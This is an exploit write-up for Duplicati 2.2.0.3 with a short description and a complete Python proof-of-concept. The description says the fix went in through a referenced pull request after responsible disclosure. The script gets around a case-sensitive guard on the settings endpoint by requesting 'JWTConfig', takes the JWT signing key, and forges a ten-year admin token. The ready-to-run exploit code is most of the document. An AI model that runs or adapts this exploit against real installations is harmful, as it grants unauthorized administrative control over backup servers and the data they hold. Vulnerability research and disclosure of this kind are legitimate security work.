Duplicati 2.2.0.3 – JWT Signing Key Leak
# Exploit Title: Duplicati 2.2.0.3 - JWT Signing Key Leak Bypass leading to Token Forgery # Date: 2026-06-23 # Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI # Vendor Homepage: https://www.duplicati.com # Software Link: https://github.com/duplicati/duplicati # Version: <= 2.2.0.3 (commit 6ad921166 and earlier) # Tested on: Duplicati 2.2.0.3 (Docker) + Duplicati master branch # CVE: Pending (researcher assigned) # References: # - https://github.com/duplicati/duplicati/pull/6787 (fix) # - Responsible disclosure to maintainer Description: Duplicati exposes the JWT signing key through a case-sensitive guard bypass in the settings endpoint. A GET request to /api/v1/serversetting/JWTConfig (PascalCase) bypasses the guard check for "jwt-config", allowing any authenticated user to retrieve the secret. With the extracted SigningKey, Authority and Audience, an attacker can forge a long-lived admin token that grants full administrative access to the application. import json, sys, time, requests, jwt PROXIES = None if "--proxy" in sys.argv: proxy = sys.argv[sys.argv.index("--proxy") + 1] PROXIES = {"http": proxy, "https": proxy} requests.packages.urllib3.disable_warnings() def login(url, password): r = requests.post(f"{url}/api/v1/auth/login", json={"Password": password, "RememberMe": False}, proxies=PROXIES, verify=not PROXIES) r.raise_for_status() return r.json()["AccessToken"] def get_setting(url, token, key): r = requests.get(f"{url}/api/v1/serversetting/{key}", headers={"Authorization": f"Bearer {token}"}, proxies=PROXIES, verify=not PROXIES) return r.status_code, r.text def forge_token(jwt_config): now = int(time.time()) return jwt.encode({ "typ": "AccessToken", "sid": "web-api", "fam": "temporary", "nbf": now, "exp": now + 10 * 365 * 86400, "iss": jwt_config["Authority"], "aud": jwt_config["Audience"], }, jwt_config["SigningKey"], algorithm="HS256") def main(): url, password = sys.argv[1], sys.argv[2] token = login(url, password) status, _ = get_setting(url, token, "jwt-config") print(f"GET /serversetting/jwt-config -> {status} (blocked by guard)") status, body = get_setting(url, token, "JWTConfig") print(f"GET /serversetting/JWTConfig -> {status} (guard bypassed)") jwt_config = json.loads(body) if isinstance(jwt_config, str): jwt_config = json.loads(jwt_config) print(f" SigningKey: {jwt_config['SigningKey']}") print(f" Authority: {jwt_config['Authority']}") print(f" Audience: {jwt_config['Audience']}") forged = forge_token(jwt_config) print(f"\nForged token: {forged}") status, _ = get_setting(url, forged, "AllowedHostnames") print(f"Verify forged token -> {status}") if status == 200: print("RESULT: Forged token accepted, full admin access achieved") if __name__ == "__main__": main() |